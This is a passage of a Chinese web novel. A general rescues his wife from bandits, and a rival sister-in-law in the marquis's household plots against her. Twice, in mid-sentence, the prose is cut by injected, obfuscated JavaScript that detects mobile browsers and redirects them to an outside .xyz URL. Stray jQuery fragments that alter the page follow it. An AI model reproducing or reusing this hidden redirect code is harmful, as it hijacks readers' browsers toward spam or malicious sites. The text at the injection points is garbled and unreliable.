金戈交鸣,惊得马嘶声响彻小巷。 双方交手的电光火石之间,两支利箭从侧面破空而至,挟风带雷般刺进那两人胸膛,在清晰的骨骼碎裂声里,疾劲的力道带着两具身躯砸向后面高墙。 有血溅出来,吓得云娆紧紧闭上了眼睛。 头顶却响起一道熟悉的声音。 “没伤到你吧?” 裴砚率先从檐头一跃而下,手里端着把劲弩,示意随行赵铁带人冲上去缉拿贼寇,自己则在云娆面前驻足。 他前儿夜里被宁王叫走后就一直没露面,这会儿仍穿着走时随手捞的玄色外裳,眼底带了稍许疲色,衣襟和手臂上依稀有深浅不一的血迹。 不过衣裳不曾破损,想必并未受伤。 云娆怎么都没想到竟然会在这里碰见裴砚,视线愣愣的落在他脸上,脑海里却还是方才利箭穿胸、鲜血飞溅的景象。 裴砚不由躬身凑近些,“吓着了?” “没、没有。”云娆赶紧摇了摇头。 那边赵铁干脆利落地拿下贼寇,走过来先朝云娆拱手施礼,又向裴砚道:“全都逮着了。逃窜的那俩也被堵在前面,鬼影儿都没放跑。” “好,你带人去复命。”裴砚吩咐。 赵铁一愣,瞥见云娆受惊后稍有点泛白的脸色,像是心领神会,当即招呼随行之人押着贼寇,连同刚才燕熙拦住的那俩一起回去交差。 裴砚则将视线投向了燕熙—— 若他记得没错,方才追过来时遥遥看到此人正与云娆熟稔交谈。在他特地绕到侧面突袭的间隙里,燕熙也始终护着云娆。 这俩人从前肯定认识。 裴砚心里猜度着,又向燕熙道:“公子身上有伤,可是方才拦截过贼寇?” 燕熙就算没见过裴砚,瞧着他刚才凑向云娆时的模样和赵铁拱手施礼的做派,也大约能猜出来他的身份。便颔首道:“他们想劫持……少夫人。”他在说这称呼时语调有点藏不住的滞涩,却很快掩饰过去道:“我怕他们又祸害别人,就拦了几下。” “这是义举,该当重赏的!” “燕某领着朝廷俸禄,理该出手效劳。” “哦?不知公子如何称呼?” “在下燕熙,如今在翰林院供职。”燕熙报出身份,落落大方地施礼。 裴砚听见这句话,倒是忍不住有点激赏了——年纪轻轻的就能进翰林院,必是有才学功名在身的。瞧他姿容清隽,想来也曾娇生惯养,方才那俩贼寇身手都不差,燕熙能拦得住他们,倒真是能文能武的人才! 只是从未听云娆提过…… 他不自觉看向自家少夫人。 云娆忙道:“这位燕公子与我兄长是至交,方才那贼寇险些闯进车里挟持我,幸亏他路过搭救,真是帮了我大忙。” 她既这样说,裴砚焉有不感谢的? 可惜赵铁把兵士们都带走了,没给他留个帮手,只好掏出军中特配的创药,道谢着就要带燕熙去处理伤口。 燕熙只说无妨,辞谢后便要离去。 裴砚欣赏他的身手勇气,又怕这清秀公子耽搁了伤处,随手将那创药递给张叔,让他跟过去照料,别耽搁了人家的伤情。 而后便觑向云娆—— “还傻站着?上车,咱们回府。” …… 回去的路上,马车里格外安静。 有裴砚亲自执缰驱车,绿溪和青霭哪有胆子坐在车里?都默契地退到车厢旁边,拿两只脚儿往回走。 云娆虽说跟裴砚日渐熟稔,却还没熟到能不顾礼数的地步。且方才裴砚率兵士们围剿贼寇,劲弩所向颇有点龙骧虎步的架势,虽不像沙场上所向披靡震慑敌军,却也不掩虎将威仪。 她没好意思安稳坐在最里面,便靠着软枕坐在靠近车厢门的地方,又卷起一角车帘,免得裴砚在路上有话吩咐。 大暑将近,沿街的杨柳都卷着热风。 云娆捏着白玉扇子取凉,情知裴砚今日办的差事不宜多打听,寻不到合适的话题,又怕裴砚心里在琢磨事情,便只将目光扫过沿街的店铺。 茶肆里照旧热闹,酒楼里有冷面的香味儿隐隐传来,绸缎庄里来了新的料子,而糕点铺子里…… 迎面有位衣衫鲜丽的妇人走过来,怀里抱着个粉团子般的小姑娘,旁边的仆妇手里则端着碗冰酥山,正拿小勺喂给孩子吃。 这时节里,冰凉解暑的吃食最是难得。 这家的冰酥山做得很精致,单看卖相都能想象拿小银勺送进嘴里的香甜滋味,更何况旁边蜜冰沙等别的消暑小食。 云娆有点犯馋,一时间没收回视线。 那小女孩儿仿佛察觉,抬眼瞧见云娆直勾勾的目光,不由笑嘻嘻道:“娘亲,姐姐也想吃!”稚嫩的声音乍然响起,非但那妇人被孩子逗笑,就连裴砚都回头瞥向云娆。 云娆闹了个大红脸,忙胡扯道:“我、我是瞧她玉雪可爱的,才多看两眼,并不是犯馋!” “嗯。不过天儿是太热了。”裴砚仿佛没听见她的狡辩,压住唇角的笑,等马车行至那糕点铺子门前便就近停稳,朝云娆抬抬下巴,“去吧。” 云娆既已被他看穿,加上确实有些犯馋,便也不再装了,提着裙角下了马车亲自到店里去挑。 少顷,主仆三个走出来,绿溪和青霭各提一个小食盒,里头分别是四碗荔枝味儿的冰酥山和四碗放了绿豆的蜜冰沙,上头还点缀着新鲜花瓣,散出淡淡的清香。 云娆登车坐稳之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802548|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀开食盒盖子,很是阔气地让裴砚先挑,“将军想吃哪个?” 裴砚没客气,取了碗冰沙来吃。 云娆和绿溪她们则先取了荔枝味儿冰酥山,剩下的照旧放在装了冰的食盒里,免得化太快了。 这样一打岔,气氛倒是活络了许多。 裴砚拿手指捏着缰绳,照旧驱车前行,几大口将蜜冰沙吃下去,通身爽快之余又想起个细节,问道:“怎么没坐侯府的车?” 云娆不愿裴砚为内宅琐事烦心,便道:“昨儿母亲让人来报信,说嫂嫂生了,母子平安。我趁便坐了娘家的车,今日才让张叔往回送的。” 这话听着有理,裴砚却怎会不知侯府的做派? 云娆不像三婶那样肆无忌惮,出门前必定是禀报过范氏的。她是侯府的少夫人,哪怕为了维护侯府的颜面,出入也不该简薄潦草,本该由当家少夫人派侯府挂着裴家徽记的华盖香车送过去。 如今这情形,必定是…… “她们为难你了?”裴砚立马猜到缘故。 这人向来眼光毒辣,云娆见瞒不过去,只好将事情原委简略说了,又道:“也是我嫌麻烦才没让绿溪去找大嫂,下回记着让府里派车就是了。将军忙里忙外的不必管这些,食盒里还有冰酥山呢,也很好吃的,将军要尝尝吗?” 这话题转移得有点生硬,裴砚瞥向她握在食盒漆红提梁的手,纱袖半遮之下只觉白嫩而纤秀。 他没再追问,伸手接过小碗,趁着冰还没化给吃了。 …… 回到靖远侯府,正是地砖都被晒得发烫的午后,连府门口的两株老树都被晒得有点打蔫儿。 仆从拿了遮阳的伞来迎接,裴砚叮嘱人带些东西将马车送回江家,夫妻俩顶着暑热回到枕峦春馆,头一件事就是沐浴更衣—— 这回贼寇闹得厉害,非但裴砚昼夜忙碌,就连娇养在闺中的云娆身上都沾了血,着实让常妈妈和金墨吃了一惊。 屋里摆着冰盆,风轮漾开丝丝凉气。 裴砚在外粗糙日子过惯了,大热天的也不必准备热水,到盥洗房提起水桶兜头浇下,滴滴答答的水珠滚落时,只觉浑身都畅快了许多。 而后擦洗干净,换了身家常衣裳出来。 屋后常妈妈已让人备了温水,待裴砚盥洗毕便让人从小角门抬进去给云娆擦洗用,又在博山炉里点上安神静心的香,以安抚今日受惊。 云娆发髻未松,褪去染血的外裳后随意披了件薄衫往里走。 时气炎热,闺中的衣裳也多清凉。 她这件衫子轻薄如蝉翼,罩在绣着栀子的海棠红无袖里衣上面,直如薄雾笼着云霞,行走间翩然生姿。没了外裳遮着,细软的腰肢在薄纱下轮廓隐约,那两只白玉般的手臂也若隐若现,更显得胸前雪白,比方才吃过的冰酥山还要柔腻。 裴砚擦着打湿的头发往外走,迎面撞上这半遮半掩的风光,险些没能挪开眼,只佯装躬身擦拭发尾水珠。 等云娆擦肩过去,他才往回瞟了眼。 脚步翩跹,背影袅娜,无端让脑海里蹦出二八佳人体似酥的夸赞来。 这么一愣神的功夫,外头又传来说话声,是绿溪和青霭嚷着天气炎热,跟金墨商量着要去厨房煮荷叶汤。夹杂其中的,是常妈妈在廊下叮嘱小丫鬟,教她如何洗衣裳方能将血渍除得干净。 裴砚没再多留,抬步去了他住的那间。 心思却已被常妈妈的叮嘱勾起来了——今日小巷里的情形历历在目,若没有燕熙在,或是他晚了半步,云娆怕是凶多吉少。 哪怕未必伤及性命,单是被贼寇挟持为质,对她这样娇滴滴小姑娘来说都够麻烦可怖的。 时局渐而不稳,外面的流民之乱愈演愈烈,京城里往后必定更不安生。是该给她配个得力的护卫,好出入随行护她周全了。 主意拿定,又不免想起燕熙。 那人年岁比他还小,能进士登第选进翰林院,还有那样出色的身手,着实是个人才。更何况如今官场里多的是自保避事的人,他能赤手空拳地拖住毫不相干的贼寇,这份心胸胆识也算难得。 若萍水相逢,裴砚必定敬他两分。 只是这回…… 想起燕熙将云娆护在身后的画面,哪怕明知燕江两家是旧交、云娆与他是相识甚久的熟人,裴砚心里依旧隐隐有点不是滋味儿。 他翘着腿闲躺在榻上想来想去,终于找到了症结所在—— 那燕熙实在生得太好了! 非但姿容颀秀,又有进士登第满腹文墨的清雅气度,显得他像个只知舞刀弄枪领兵打仗的武夫。 这样想着,裴砚不由瞥向梢间里摆满兵略的书架。 而后又隔窗眺向云娆的小书房。 虽说他习武之余也读书修文,但在军营待了十几年后难免稍有粗莽之气。小姑娘的爱好那样秀致精细,雕出来的版画比寻常画师亲笔描就的都漂亮,要不他也给书房添些沉静的书卷文墨气? 这念头足足在脑海盘桓了半天,直到瞥见摆在床头那柄舔血无数的重剑,裴砚才哑然失笑。 裴砚啊裴砚,你管人家小姑娘的喜好做什么! 29. 秘密 云娆遇险后的第三日,裴砚便让赵铁买了辆坚固结实的马车,连同一位身手出众的马夫一道悄悄送进了侯府。 管事哪敢阻拦,忙赔笑暂且安顿下。 等赵铁一走,赶紧差人去给内院主事的薛氏报个信儿,不敢擅自做这辆马车的主。 薛氏今儿难得清闲,正在窗下教儿子裴文昭背书,听罢仆妇的禀报时差点怀疑是听错了,旋即便沉了脸,有点恼火裴砚下她的面子。 就连帮着料理事情的大丫鬟晴月都抱怨道:“二爷这是做什么!咱们侯府里难道还缺他这辆车不成,就这么送过来,是做给谁看呢?这要是让老侯爷知道,恐怕又该念叨他做事没分寸了。” “老侯爷才舍不得说他。”薛氏让人把裴文昭带去外间,瞅着窗外的树影,冷嘲道:“如今这时局,他捧着老二还来不及!” 这话说出来,晴月不免跟着沉默了。 她虽只是个丫鬟,却是打小儿跟着薛氏在安国公府长大的,进侯府后又帮自家主子料理内宅琐事,有些事也知晓几分。 从前的老侯爷确实不太喜欢裴砚。 莫说自幼丢在外头,就是取名上也看得出来—— 侯府孙辈们的名字都是老侯爷起的,算上长房庶出的裴见熠和二房柳姨娘所生的裴见晔,兄弟几个在名字上瞧不出区别来。唯有裴砚,虽说也从了“见”字,却在兄弟堆里扎眼得很,且砚台是拿来磋磨的东西,不管老侯爷初衷如何,总归瞧不出疼爱之心。 晴月跟着薛氏入府数年,很清楚裴砚所受的冷遇。 可如今,事情却悄悄的变了。 自打裴砚沙场大捷,得了皇帝的厚赏之后,老侯爷对裴砚的态度便和软了许多,就连裴砚在如意堂顶嘴气得老侯爷拂袖离去也不曾计较。 及至后来裴元绍携妻回京,老侯爷一改往昔的冷脸留夫妻俩用饭,甚至周氏顶撞长辈时还派了仆妇来平息,让薛氏主仆都万分意外。 都是明眼人,古怪事情多了,谁能琢磨不出缘故? 无非是时局稍有动荡,朝堂上正逢急着用能征善战的武将的时候,侯府里的父子兄弟们仕途不顺,老侯爷想笼络那俩武将罢了。 这样的情势于薛氏而言绝非好事。 晴月想起这些折转,见自家姑娘罕见地脸上稍露落寞,忙道:“那也不过是稍加笼络罢了。谁是老侯爷的心头肉,少夫人心里是最明白不过的。三爷那样费尽心机地讨老侯爷欢心,不也没捞到多少好处么?二爷那脾气,未必能够长久。” “罢了,只要他别来抢咱们的就行。老侯爷想必也不至于乱来。”薛氏自知情势比人强,既嫁了个平庸的夫君,对老侯爷的态度只能看开些。 至于这回马车的事…… 显然裴砚是知道了前次她故意为难云娆,才来了这么一手。 好在他是悄悄送来的,不曾声张。既然他存心护短敲打,这种时候她容让几分也就罢了,反正来日方长,没必要硬碰硬找不痛快。 这样想着,薛氏渐渐压下火气。 但侯府就这么大点地方,她这里想风平浪静的遮掩过去,却总有人盯着各处动静。好容易逮到薛氏的笑话,哪会轻易放过去? …… 日落后暑气渐散,天色将暮时,两房儿媳和孙媳们陆续在如意堂里聚齐,陪太夫人说话推牌解闷儿。 薛氏向来得老人家欢心,自是贴着坐在太夫人身边。 崔氏和范氏妯娌两个一左一右地坐着,再拉上一位趁空来探望太夫人的老亲戚,刚好凑成一桌牌。 闲聊之间,范氏啜着茶道:“说起来,老二怎么忽然给府里添了辆马车?” 她笑吟吟瞥了眼薛氏,见太夫人有些疑惑地望过来,又解释道:“今儿后晌我派人去外头采买东西,她瞧着有辆车很是眼生,又做得坚固宽敞,不免跟管事的打听。这一问,才知道那马车是老二特地添的,连车夫都给老二媳妇配好了。” 这样的安排不太合内宅做事的规矩,太夫人有点不悦,碍着有老亲戚在,倒也没出言责问,更没接这话茬。 范氏却存心要下薛氏的脸面,见婆母不追问,便自向薛氏道:“这事儿你知道吧?” “知道的。”薛氏笑得有点勉强。 范氏看出她的心虚,心中愈发得意,便笑问道:“平白无故的,老二怎么忽然闹这么一出?可是有什么缘故?” 这话问得薛氏一时语塞。 旁边崔氏虽不知此事,却也猜到裴砚此举是在护短。眼见儿媳被问得说不出话来,不想让她在老亲戚面前丢脸,便笑道:“老二这么做自有他的缘故,些许小事,顺着他意思就是了,哪能问得那么清楚?弟妹这话真是问错人了,该问老二屋里人才是。” 说着,含笑瞥向云娆,转手就将这烫手山芋给丢了出去。 云娆正与明氏闲坐,无端被婆母的私心卷进口角,只好道:“前儿我出门时,正好碰见街面上缉拿贼寇,虽说也没怎么着,到底让将军有些悬心。为保稳妥,他让人找了个有些身手的车夫,原不过举手之劳,倒是给大嫂添乱了。” 这话说得还算体面,分明是想息事宁人。 范氏好容易拿到个话柄,又有意架秧子拨火看热闹,当即道:“是这样么?我还以为是上回老大媳妇没安排妥当,他心里不痛快呢。” 这话一说,薛氏险些涨红了脸。 在座的除了那位老亲戚,也都神色各异。 上次云娆要出门,薛氏拿马车在修的借口糊弄过去,旁人都是瞧在眼里的。当初薛氏是为显露权柄蓄意打压,如今裴砚这么安排,未免显得薛氏实在小肚鸡肠,拿细微琐事来挟私报复。 屋里的气氛一时间有点微妙。 太夫人没想到范氏会当着外人的面穷追不舍,将家里的小事摊开来嘲弄,心中愈发不满。 碍着老亲戚在,她也没挂在脸上,只是笑道:“老二行军打仗惯了,性子粗豪爽直,哪至于这样?自是担心他媳妇在外头碰见麻烦,才这样安排。虽说做事不够细致,却也出自一片爱护之心,是个会疼人的。你这做母亲的,反倒不清楚他的性子?” 范氏听出嗔怪,且已经让薛氏十分难堪,便摸着牌不再说话了。 那老亲戚觉出气氛微妙,便接着太夫人的话头笑道:“府上的二爷是出了名的猛将,在边塞护着百姓和疆土,回了京城护着妻儿,是个难得的。如今外有贼寇作乱,京城也难免被波及,是该小心防范着。” 崔氏顺着这话头感叹了两句,便把话岔开。 再打两圈儿牌,时候已是不早。 薛氏婆媳亲自送老亲戚出门,旁的儿孙也都告辞回去,太夫人只将范氏留在屋里,等没了人才沉下脸来训斥了几句。 范氏早就习惯了不得婆母的欢心,今日虽被念叨了几句,因没惹出什么事儿,其实也不痛不痒。 走出如意堂没多久,她便将不快抛之脑后,想着素来趾高气昂的薛氏今日那样尴尬,心里着实痛快了许多。 …… 比起范氏看戏得逞的欣喜,薛氏则气闷多了。 送走客人后回到屋中,她先去查问了儿子的课业,又在厅里处置了白日积压的几件内宅事务,直等亥时将近才算得空。 晴月早已着人备好盥洗用物,见薛氏坐在窗边吹着风出神,便轻声提醒道:“里头都备好了,少夫人忙碌整日,不如早点安歇吧?” “他还没回来?”薛氏问。 晴月道:“大爷刚才遣人来传过话了,说晚上有应酬,谈些要紧的事情,回到府里怕是得半夜了。让少夫人先歇下。” “他最近倒是越来越忙了,只是官职总不见进益,也不知在忙些什么。”薛氏闻言冷笑。 提到裴见明,她明显有些心烦。 其实在嫁进裴家之前,薛氏对裴见明是很清楚的。 此人天资不高,凭着昔日里读书时的样子,不太可能进士及第。不过他是侯府的嫡长孙,虽说读书的天资有限,为人却还算沉稳,凭着祖宗荫封得了官职后好生经营,未必没有前途。 且裴家提亲时,两层长辈都许诺会厚待于她,薛氏也确实想在侯府主掌中馈风光度日,斟酌之后就答应了。 后来崔氏兑现承诺,对她这儿媳很是优待,薛氏有长辈疼爱撑腰,在侯府内宅可算说一不二。 只可惜裴见明实在不算出挑,虽有老侯爷和岳家暗里提携,仕途上总没个长进。 先前府里相安无事,薛氏也没太在意。 毕竟她最初所求的就是侯府当家少夫人的身份,只消裴见明能顺利承袭爵位,哪怕朝中的官职低一点也无妨。 且高门贵户总难免三妻四妾,她从公府嫁进侯门,又有薛贤妃撑腰,裴见明碍着岳家的威势,莫说纳妾收房,就是跟丫鬟们都清清白白的。 薛氏有儿子傍身,没妾室通房添堵,日子过得还算舒心。 直到庶出的裴砚凭着战功高官厚禄春风得意,不止衬得裴见明这嫡长孙默默无闻,还让云娆跟着鸡犬升天,在府里渐渐硬气起来。 薛氏原就瞧不上云娆的出身,如今屡次因这对身份远逊于她的夫妻吃瘪,心里怎会舒服? 她嘲讽完自家丈夫,又跟晴月抱怨范氏这位婶母的小家子气,说到后来,终还是落到了云娆的头上。 “她能有今日,不过仗着老二撑腰。” 薛氏坐在花香馥郁的浴桶里,任由晴月帮她按着头皮,闭着眼睛徐徐道:“若没了老二,她算个什么东西。” 屋里没旁人,晴月小声附和着。 薛氏闭目养神片刻,忽然又想起件事情,“我记得你先前说,老二媳妇跟外男私会?” “是呢,奴婢也只是听人提过这么一嘴。说二少夫人在闺中时其实跟旁人议过亲,两人还是青梅竹马呢。如今运气好嫁进侯府,她好像还没收心,跟那男子在暗里私会。” 薛氏头回听见这话时正在琢磨旁的要紧事,就没太放在心上,这会儿却睁开眼,回头问道:“当真么?” “奴婢也不知道。不过二少夫人时常外出,谁知道是去做什么。” 话虽如此,薛氏却还是沉吟起来。 外头男人们的事她插不上手,但侯府的内宅却是她的地盘,容不得旁人踩到她头上来。云娆眼下的地位皆拜裴砚所赐,一旦她被裴砚厌弃,哪还会有立足之地? 哪怕她没真的跟外男私会,先前与富春堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811107|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌柜谋利之事也登不上侯府的台面。若能找出些她跟人藕断丝连的证据,更是够云娆喝一壶的。 薛氏不由展颜,“派个人盯着些。” 晴月应了,又道:“二爷既安排了车,她或许会收敛些,不敢当着二爷的人乱来。” “那可未必,保不准吃了熊心豹子胆呢,这种事总要避着旁人,车夫能知道什么。不过是盯个梢罢了,又不费事儿。” “咱们身边的人太惹眼,那奴婢安排外面的老张头去吧?” “也行,叮嘱他做事小心些。” …… 事情安排下去,老张当即留了心。 他是薛氏陪嫁过来的人,阖家老小的前程和性命都捏在薛氏手里,自是格外忠心。 恰好云娆这两日去贺掌柜举荐的几位老师傅那里观摩,意欲借机磨炼技艺,老张便将旁的事都抛下,只偷偷跟在马车后面盯梢。 等回到府里,便将见闻一五一十地禀报清楚。 薛氏暂且没寻出端倪,又觉得云娆这样频繁往外跑的做派实在不像个侯门女眷,笃定背后另有猫腻,便叮嘱他照旧留意。 这日前晌,云娆在跟裴砚打过招呼后照旧出门去拜访前辈。 老张听得动静,也自跟在后面。 簇新的雕车出得侯府,穿过朱雀长街后往西南边的一处偏远集市里去。 云娆和青霭拿着前儿从富春堂取的雕版,商讨着雕刻的笔法,赶车的贺峻一副闲散模样,稳稳驱车之间,不时扫向后面的人群—— 这几回出门都被尾随,他其实早就有所察觉。只不过对方除了盯梢外没做旁的,他便按兵不动,只暗中留意罢了。 这般相安无事,很快到了金桂巷。 贺峻趁着拐弯时往后瞥了眼,没瞧见鬼鬼祟祟跟在后面的老张头,有点意外地挑了挑眉,叼着草棍儿继续往前走。 两道巷子之外,老张这会儿正探头探脑。 他的脸色十分严肃。 ——方才经过一处街巷的时候,他仿佛看到大爷裴见明的长随锦程正与一个眼生丫鬟有说有笑的出了点心铺子,手里还拎着个食盒。 老张瞧着那情形,顿时觉得不对劲。 锦程素来贴身伺候裴见明,他在哪儿出现,意味着裴见明就在附近。 这地方着实偏僻,离达官显贵的住处又实在太远,若不是今日尾随过来,老张平素都不会来这种地方。 裴见明的衙署在东边,怎会踏足此处? 何况,若锦程旁边是个男人,还能说是有公务,可他旁边分明是个眼生的美貌小丫鬟,那就意味着,裴见明此刻或许是跟女人在一起! 老张想到这里,只觉心惊肉跳。 他对薛家向来忠心耿耿,眼瞧着自家姑娘可能吃了暗亏,当即舍了云娆的马车,悄悄儿跟在锦程后面。 穿过两条巷子,锦程和那丫鬟进了一处院落。 老张不敢扒在门缝偷窥,绕着院子走了小半圈,听见墙内隐隐传来裴见明的笑声,便就着旁边的树干爬高些好窥里头情形。 这一瞧,直让老张倒吸了口凉气。 院里亭台水榭俱备,虽说地方不算多大,修得却十分精巧。院中暑热正浓,裴见明正跟一位美貌妇人坐在正屋的窗边,就着风轮的凉气闲坐,桌上正是方才锦程他们拎着的食盒,由小丫鬟摆放碗盏。 那妇人瞧着不过二十来岁,身上穿金戴玉,正被裴见明搂在怀里笑着,虽说香肩半露,却绝不是青楼女子的做派。 而锦程蹲坐在廊下,显然对此习以为常。 周遭并没什么勾栏瓦舍,这女人显然也不像卖身陪客的,瞧这院子的布置,倒像是…… 老张怎么都没想到裴见明竟会背着薛氏养外室,小心翼翼地将里头情形窥探明白,正想偷偷溜走,回头时却又被吓了一跳。 树下不知何时多了个人,正呲着牙冲他笑,“瞧什么呢,老张头?” 老张吓得一哆嗦,径直摔在地上。 …… 薛氏是隔日晚间才想起老张头的。 她自幼争强好胜,既享受着侯府当家少夫人的威风与荣耀,平素也难免忙碌,早晚总有各种内外庶务要忙。 这日伺候太夫人用完晚饭,回到四宜馆后好容易闲下来,便盘算起这两日有没有漏掉的事。 这一盘算,便将晴月叫到了跟前。 “前儿老二媳妇出门,老张头怎么说,可查探到了什么?” “哎哟,我倒忘了去问,他也是,拖了两天都还没来找我回话儿。”晴月说着,赶紧出去让小丫鬟去喊人。 小丫鬟去了一圈,很快就回来了。 “他媳妇说,前儿出门后就没见他回来,已经等了两天也没信儿,也不知是不是主子派了要紧的事。还让我问问晴月姐姐呢。” 晴月闻言微诧,先将小丫鬟打发了,忙回屋将这话禀明薛氏。 薛氏闻言倒是微微一怔。 老张是她的人,这两日并没派旁的活,按道理不该连着两天没回家。 除非碰见了什么意外。 难道是盯梢时撞破什么秘密,被老二媳妇或者那位私会的外男给处置了? 30. 护短 关于老张头的失踪,薛氏没能查到任何旁的线索,只知道他那日离开家后跟着云娆的马车走过朱雀长街,之后就不知道去了哪里。 薛氏自然不能去问云娆那日的行踪。 但忠心耿耿的老仆忽然失踪,又牵扯着被她视为眼中钉的云娆,这种事终归让薛氏十分恼火。 她也不再藏着掖着,既然怀疑到云娆头上,当即让人去查问云娆出阁前的情形。 很快,晴月便打听到了燕熙的事。 而燕熙文武兼修身手出众,这事儿打探起来简直轻而易举。 薛氏再不迟疑,认定此事是燕熙所为。 究其根源则在云娆的身上。 不过证据确凿之前,薛氏并不想将暗里盯梢的事翻上台面落人口实,便差人回娘家递了个信儿,请他们打个招呼暗里追查老张头的案子。 她则在暗里盯住了云娆。 这日前晌京城下了场大暴雨,等到云散雨收,却又是盛夏暑热里难得的凉爽天气,连带林间吹来的风都带着清爽之气。 女眷们惧热贪凉,不免纷纷出屋散心。 就连太夫人都起了兴致,瞧着云销雨霁碧空如洗,院里的草木亭台也被雨水冲刷一新,阳光下熠熠生彩,便有意去后院赏玩菡萏。 两房女眷听说,便都陪她同往。 薛氏瞧太夫人兴致勃勃,还跟崔氏商量着晚上在荷池边摆上几桌,娘儿们趁着望日听曲观舞,共赏圆月,也好热闹一场。 崔氏亦有此意,又叮嘱道:“这场雨后虽说凉快了些,可如今已入了伏,过两天到大暑时节,更是热得难熬。该提早让人把别苑收拾好,若太夫人愿意动弹,咱们就去山里避暑。” “母亲放心,都安排着呢。”薛氏正当盛年,底下又有数位帮手,这些事上倒安排得很是周到。 崔氏听着很是满意,等太夫人换好衣裳,便陪着走出如意堂去后院游赏。 她婆媳俩最得太夫人欢心,一左一右地陪在旁边,明氏跟裴雪琼姑嫂两个跟在崔氏后面,旁边则是范氏带着几位儿媳和裴锦瑶。 到得荷池边的水榭,早有人备了茶水糕点。 众人依序入座,隔水戏台上丝竹渐起。 戏文里进士登第光宗耀祖,太夫人瞧着戏台上的热闹,想起自家儿孙们屡次科举不第,忍不住隐隐叹了口气。 情知嫡长孙裴见明不擅科考,老五裴见祐又体弱多病,就只能指望旁的儿孙—— “这阵子没见着老三,是在忙些什么呢?”她最先问范氏。 范氏便道:“侯爷交代了些事,让他去历练,前些天出了京城还没回来呢。” “历练本事固然要紧,读书的事却也不能荒废。虽说咱们这种人家不必全靠科举,到底出个进士能增色不少。他年纪不大,这回春闱权当试炼,还是该安心读几年书,下回再试试。” 太夫人说着,便又叮嘱孙氏,“你平常也该多规劝规劝,叫他在读书的事上多多用心。” 孙氏忙含笑起身道:“孙媳妇记着了。他虽在外头忙碌,却也牢记着长辈的教诲,这回出门还带了书呢,说是抽空温习。” “这便好了,几个兄弟里,他算是读书最肯用功的。”太夫人颇为满意,又问老四裴见青的课业,让明氏多多规劝。 说到十四五岁的裴见熠和裴见晔,更是叮嘱道:“他们都是读书的年纪,最该严加管教的,平常可不能纵他们贪玩。” 崔氏和范氏齐声应是。 末了,太夫人便笑眯眯瞧向薛氏,“他们几个做叔叔的不长进,没能摘个状元回来,咱们昭儿却是聪明懂事的。听侯爷说他读书时很有进益,该好生找个先生教导。明老先生是大儒,门下弟子众多——” 她瞧向明氏,含笑道:“恐怕还得烦劳他稍加留意,帮着为昭儿物色个有学识有能耐的,打小儿就栽培起来。” 这话说得倒客气,明氏忙应了。 薛氏其实也盼着儿子能读出个名堂,知道明老太爷在朝中门生众多,不由跟着夸赞明家的学问,捧得明氏都有点不好意思起来。 一屋子其乐融融,薛氏慷慨谈笑之间,忽然话锋一转提起了云娆—— “说起来,二弟妹的兄长也是弱冠之年就中了进士吧?听说也是个青年才俊。” 她素来自恃身份眼高于顶,难得竟夸起云娆,让满屋子的人都有点意外。 云娆只好道:“是家兄运气好罢了,如今也只小心摸索着,可不敢当才俊之名。” “那是弟妹谦虚。”薛氏笑瞥着她,又向太夫人道:“江公子非但才学过人,交游的也都是才俊。前阵子翰林院选了位姓燕的新科进士,我娘家兄弟说跟我有点渊源,我心里还疑惑呢,后来一打听,原来那位是江公子的好友。弟妹在闺中时,想必也认识他吧?” 此言一出,云娆心中顿时警铃大作。 便只谨慎答道:“有过几面之缘。” 薛氏却是铁了心要在长辈们跟前挑破此事,自管贴坐在太夫人身边,向云娆调侃道:“二弟妹姿容出挑,当初想必也是求者如云,不知里头可有没有这位才俊?” 这玩笑开得有失分寸,令太夫人笑意微敛,“都是已经成亲的人了,可别胡乱打趣。” 薛氏轻笑了笑,被嗔了也不痛不痒,只留意着范氏的动静。 ——她就不信二婶真能袖手旁观。 果然,范氏放出消息后盼了许久才等到这热闹,眼瞧着火星儿要被太夫人压下去,不由笑道:“母亲不知道,老二媳妇是香饽饽呢。得亏我提亲早了一步,若不然,怕是真要被人抢走,那可就没老二如今的好姻缘了。” 她一捧场,薛氏便接着道:“二婶也是一番苦心。不过,如今咱们既成了一家人,有些话还是得提醒弟妹。” 说话时看向云娆,语气稍肃。 云娆瞧着那俩人你唱我和,便大约猜到薛氏想闹什么幺蛾子。 心底有些烦厌这种捕风捉影明枪暗箭的行径,她抬目迎上薛氏的视线,淡声道:“大嫂有话不妨直说。” 声音冷清,与寻常的含笑内敛迥异。 薛氏习惯了云娆退让隐忍,陡然被她这样暗藏不豫地逼视过来,反而有一瞬心虚。 不过事已至此,她很快提起了底气。 “这阵子听说弟妹频繁出府,不是去书坊就是拜望老工匠,忙碌得很。咱们这样的门第,京城里不知多少双眼睛盯着,行事还是得谨慎周全些,那些不知来路的外男少见为妙,免得招来风言风语。” 这话说得不好听,云娆几乎冷笑。 旁边明氏看不过去,开口道:“大嫂这话从何说起。二嫂跟富春堂商谈雕刻是正事,前次我还一道去过,哪有什么不知来路的外男。” “我不过是提醒一句罢了,二弟妹是名门闺秀,自然心怀坦荡。只是人言可畏,旁人未必也这样想。毕竟……”她盯住云娆,笑意深晦地道:“我听说那位姓燕的才俊也很爱去书坊。” 这话一说,意图已是昭然若揭。 若真的好意提醒,私下里跟云娆说就是,何必众目睽睽下搭起戏台扯出这些隐情来? 